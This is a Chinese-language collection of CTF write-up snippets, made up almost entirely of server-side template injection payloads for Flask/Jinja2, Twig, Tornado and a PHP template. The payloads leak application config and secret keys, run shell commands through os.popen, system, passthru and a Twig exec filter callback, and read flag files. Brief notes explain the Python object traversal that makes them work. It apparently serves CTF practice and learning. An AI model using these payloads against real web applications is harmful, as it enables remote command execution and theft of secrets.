1..[WesternCTF2018]shrine writeup
/shrine/{{url_for.__globals__}}
#current_app': <Flask 'app'>
/shrine/{{url_for.__globals__['current_app'].config}}
或者
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
2.[BJDCTF2020]Cookie is so stable 1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
3.Bugku CTF 每日一题 聪明的php
?a={if passthru("ls -l")}{/if}
?a={if passthru("ls /")}{/if}
?a={if passthru("vi /_5791")}{/if}
或者
?a={if passthru("more /_5791")}{/if}
4.BugKu:Simple_SSTI(SSTI模板注入)
{{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}
5.web buuctf [BJDCTF2020]The mystery of ip1
xff={{system('ls /')}} xff={{system('cat /flag')}}
6.BUUCTF[护网杯 2018]easy_tornado1-write up
输入以上两个命令却找不到cookie_secert,已知Tornado提供了一些对象别名来快速访问对象。Handler指向的处理当前这个页面的RequestHandler对象,handler是RequestHandler的别名,而上面又提到RequestHandler.settings是self.application.settings的别名。所以handler.settings就等于RequestHandler.application.settings。这个self是oneself的意思,哪个对象用就是哪个对象的.application.settings。
所以用handler.settings访问RequestHandler.application.settings:
即输入:/error?msg={{handler.settings}}
7.攻防世界WEB】难度四星12分进阶题:Confusion1
request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) "
request.args.key
args是参数,key可以是内置函数
——————
payload:
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read
8.攻防世界 shrine 详解
python沙箱逃逸的方法是 利用python对象之间的引用关系来调用被禁用的函数对象
构造payloads: /shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
9.攻防世界-easytornado
error?msg={{handler.settings}}
/file?filename=/fllllllllllllag&filehash=725fcceacec29f3e90c03def6c8e6264
10.攻防世界之Web_python_template_injection (web进阶)
命令效果为执行popen()函数内的命令。
其中:
1、__ class__ _:查看变量所属的类
2、 __ init __ :初始化类,返回function
3、 __ globals __ : 获取function所处空间下可使用的module、方法以及所有变量
4、os.popen() 从一个命令打开一个管道
11.[BJDCTF2020]Cookie is so stable
我们只要把exec() 作为回调函数传进去就能实现命令执行了
payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
所以payload至于要将"cat /flag" 替换"id" 即可。payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
12.[WesternCTF2018]shrine 1
{{url_for.__globals__['current_app'].config}}
或
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}